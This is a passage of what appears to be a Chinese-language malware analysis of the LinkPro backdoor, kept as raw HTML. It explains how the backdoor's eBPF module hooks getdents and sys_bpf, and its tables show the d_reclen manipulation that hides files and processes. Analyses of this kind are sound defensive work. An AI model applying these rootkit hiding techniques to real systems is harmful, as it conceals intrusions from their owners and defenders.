style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来,</span><strong><span leaf="">LinkPro</span></strong><span leaf="">通过创建 BPF link20,把这些 eBPF 程序附加到内核的检测点上。</span><strong><span leaf="">LinkPro</span></strong><span leaf="">后门加载的 &#34;Hide&#34; eBPF 模块为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents</span></code><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents64</span></code><span leaf="">系统调用挂上 </span><em><span leaf="">hook</span></em><span leaf="">,目标与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">共享库一致——隐藏 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">自身的文件。此外,程序还在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sys_bpf</span></code><span leaf="">系统调用的入口与出口处挂上 hook,用于隐藏其 eBPF maps 和 programs。具体的 hook 列表如下:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tracepoint/syscalls/sys_enter_getdents -&gt; HandleGetdentsEnter</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tracepoint/syscalls/sys_enter_getdents64 -&gt; HandleGetdents64Enter</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tracepoint/syscalls/sys_exit_getdents -&gt; HandleGetdentsExit</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tracepoint/syscalls/sys_exit_getdents64 -&gt; HandleGetdents64Ext</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tracepoint/syscalls/sys_enter_bpf -&gt; HandleBpfEnter</span></code></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kretprobe/sys_bpf -&gt; HandleBpfExit</span></code></li></ul><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">handle_getdents</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">附加在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents</span></code><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents64</span></code><span leaf="">tracepoint 上的函数,行为与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">类似——拦截 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents</span></code><span leaf="">系统调用的返回结果 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sys_exit_getdents</span></code><span leaf="">) 。该 eBPF 程序设置过滤规则,以隐藏:</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">特定文件和目录: 任何条目名中包含关键字 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.system</span></code><span leaf="">的项。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">特定进程: 进程目录 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/</span></code><span leaf="">下 ) 的 PID 出现在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pids_to_hide</span></code><span leaf="">eBPF map 中 ( 该 map 最多容纳 10 个 PID ) 的也会被隐藏。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents</span></code><span leaf="">系统调用返回一个由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dirent</span></code><span leaf="">结构构成的链表21,其中每个结构体代表一个文件或目录,包含名称、inode、条目大小等信息——其大小用于推算下一个元素的位置。与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents</span></code><span leaf="">hook 不同的是,这里的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dirent</span></code><span leaf="">条目不会被下一条记录直接覆盖。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下面展示如何修改 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dirent</span></code><span leaf="">链表来隐藏一个名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data.resolveld</span></code><span leaf="">的文件。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">eBPF 修改之前</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">链表是连续的若干条记录,每个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dirent</span></code><span leaf="">通过自身的长度字段 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_reclen</span></code><span leaf="">) 隐式指向下一条记录。</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dirent</span></code><p><span leaf="">( File A )</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dirent</span></code><p><span leaf="">( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data.resolveld</span></code><span leaf="">)</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dirent</span></code><p><span leaf="">( File B )</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_reclen</span></code><p><span leaf="">=24</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_reclen</span></code><p><span leaf="">=32</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_reclen</span></code><p><span leaf="">=24</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_name</span></code><p><span leaf="">=&#34;File A&#34;</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_name</span></code><p><span leaf="">=&#34;</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data.resolveld</span></code><span leaf="">&#34;</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_name</span></code><p><span leaf="">=&#34;File B&#34;</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">指向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data.resolveld</span></code><span leaf="">的起始位置</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">指向 File B 的起始位置</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">指向末尾</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">这里的 d_reclen 数值仅作示例。</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">eBPF 修改之后</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">eBPF 程序检测到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data.resolveld</span></code><span leaf="">,然后修改前一条记录 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">File A</span></code><span leaf="">) 的长度 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_reclen</span></code><span leaf="">) ,把 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data.resolveld</span></code><span leaf="">的长度叠加上去。</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dirent</span></code><p><span leaf="">( File A )</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dirent</span></code><p><span leaf="">( .tmp~data.resolveld ) - 跳过</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dirent</span></code><p><span leaf="">( File B )</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_reclen</span></code><p><span leaf="">=24+32=56</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_reclen</span></code><p><span leaf="">=32</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_reclen</span></code><p><span leaf="">=24</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_name</span></code><p><span leaf="">=&#34;File A&#34;</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_name</span></code><p><span leaf="">=&#34;</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data.resolveld</span></code><span leaf="">&#34;</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">d_name</span></code><p><span leaf="">=&#34;File B&#34;</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">现在直接指向 File B 的起始位置</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">指向末尾</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, 